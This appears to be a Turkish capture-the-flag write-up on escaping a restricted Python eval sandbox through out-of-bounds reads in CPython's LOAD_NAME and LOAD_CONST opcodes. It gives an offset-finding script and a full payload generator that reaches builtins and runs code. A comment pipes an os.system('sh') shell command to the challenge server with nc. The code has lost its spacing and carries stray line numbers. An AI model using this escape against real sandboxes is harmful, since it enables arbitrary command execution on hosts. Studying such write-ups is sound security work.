LOAD_NAME / LOAD_CONST opcode'daki OOB okuma özelliğini kullanarak bellekteki bazı sembolleri alabiliriz. Bu, istediğiniz sembolü (örneğin işlev adı) almak için (a, b, c, ... yüzlerce sembol ..., __getattribute__) if [] else [].__getattribute__(...) gibi bir hile kullanmaktır.
Sonra sadece saldırınızı oluşturun.
Genel Bakış
Kaynak kodu oldukça kısadır, sadece 4 satır içerir!
Ancak co_names boş bir demet haline gelirse ne olacak? LOAD_NAME 2 opcode hala çalıştırılır ve aslında olması gereken bellek adresinden değeri okumaya çalışır. Evet, bu bir sınır dışı okuma "özelliği".
Çözüm için temel kavram oldukça basittir. CPython'daki bazı opcode'lar örneğin LOAD_NAME ve LOAD_CONST, sınır dışı okumaya açıktır (?).
Onlar, co_consts ve co_names altında adlandırılan consts veya names demetinden oparg dizininden bir nesne alırlar. CPython'ın LOAD_CONST opcode'unu işlediğinde ne yaptığını görmek için aşağıdaki kısa parçaya başvurabiliriz.
case TARGET(LOAD_CONST): {PREDICTED(LOAD_CONST);PyObject *value =GETITEM(consts, oparg);Py_INCREF(value);PUSH(value);FAST_DISPATCH();}1234567
Bu şekilde, OOB özelliğini kullanarak keyfi bellek ofsetinden bir "isim" alabiliriz. Hangi isme sahip olduğunu ve ofsetinin ne olduğunu belirlemek için sadece LOAD_NAME 0, LOAD_NAME 1 ... LOAD_NAME 99 ... denemeye devam edin. Ve yaklaşık olarak oparg > 700 olduğunda bir şeyler bulabilirsiniz. Tabii ki bellek düzenine bakmak için gdb kullanmayı da deneyebilirsiniz, ama daha kolay olacağını sanmıyorum?
Saldırıyı Oluşturma
İsimler / sabitler için bu yararlı ofsetleri aldıktan sonra, bu ofsetten bir isim / sabit nasıl alınır ve kullanılır? İşte size bir ipucu:
Bir __getattribute__ ismini ofset 5 (LOAD_NAME 5) ile co_names=() alabileceğimizi varsayalım, o zaman sadece aşağıdaki adımları uygulayın:
[a,b,c,d,e,__getattribute__] if [] else [[].__getattribute__# you can get the __getattribute__ method of list object now!]1234
__getattribute__ olarak adlandırmanız gerekli değildir, daha kısa veya daha garip bir isim verebilirsiniz
Sadece bayt kodunu görüntüleyerek nedenini anlayabilirsiniz:
LOAD_ATTR'ın adı da co_names'den alındığını unutmayın. Python, isim aynıysa aynı ofsetten isimleri yükler, bu nedenle ikinci __getattribute__ hala offset=5'ten yüklenir. Bu özelliği kullanarak isim belleğe yakın olduğunda keyfi isim kullanabiliriz.
Sayıları oluşturmak basit olmalı:
0: not [[]]
1: not []
2: (not []) + (not [])
...
Sızma Betiği
Uzunluk sınırı nedeniyle sabitleri kullanmadım.
İlk olarak, isimlerin ofsetlerini bulmamız için bir betik aşağıda verilmiştir.
from types import CodeTypefrom opcode import opmapfrom sys import argvclassMockBuiltins(dict):def__getitem__(self,k):iftype(k)==str:return kif__name__=='__main__':n =int(argv[1])code = [*([opmap['EXTENDED_ARG'], n //256]if n //256!=0else []),opmap['LOAD_NAME'], n %256,opmap['RETURN_VALUE'],0]c =CodeType(0, 0, 0, 0, 0, 0,bytes(code),(), (), (), '<sandbox>', '<eval>', 0, b'', ())ret =eval(c, {'__builtins__': MockBuiltins()})if ret:print(f'{n}: {ret}')# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132
Ve aşağıdakiler gerçek Python saldırısını oluşturmak içindir.
import sysimport unicodedataclassGenerator:# get numnerdef__call__(self,num):if num ==0:return'(not[[]])'return'('+ ('(not[])+'* num)[:-1] +')'# get stringdef__getattribute__(self,name):try:offset =None.__dir__().index(name)returnf'keys[{self(offset)}]'exceptValueError:offset =None.__class__.__dir__(None.__class__).index(name)returnf'keys2[{self(offset)}]'_ =Generator()names = []chr_code =0for x inrange(4700):whileTrue:chr_code +=1char = unicodedata.normalize('NFKC', chr(chr_code))if char.isidentifier()and char notin names:names.append(char)breakoffsets ={"__delitem__":2800,"__getattribute__":2850,'__dir__':4693,'__repr__':2128,}variables = ('keys','keys2','None_','NoneType','m_repr','globals','builtins',)for name, offset in offsets.items():names[offset]= namefor i, var inenumerate(variables):assert var notin offsetsnames[792+ i]= varsource =f'''[({",".join(names)}) if [] else [],None_ := [[]].__delitem__({_(0)}),keys := None_.__dir__(),NoneType := None_.__getattribute__({_.__class__}),keys2 := NoneType.__dir__(NoneType),get := NoneType.__getattribute__,m_repr := get(get(get([],{_.__class__}),{_.__base__}),{_.__subclasses__})()[-{_(2)}].__repr__,globals := get(m_repr, m_repr.__dir__()[{_(6)}]),builtins := globals[[*globals][{_(7)}]],builtins[[*builtins][{_(19)}]](builtins[[*builtins][{_(28)}]](), builtins)]'''.strip().replace('\n', '').replace(' ', '')print(f"{len(source) = }", file=sys.stderr)print(source)# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
Bu temelde, __dir__ yönteminden aldığımız dizeler için aşağıdaki işlemleri yapar: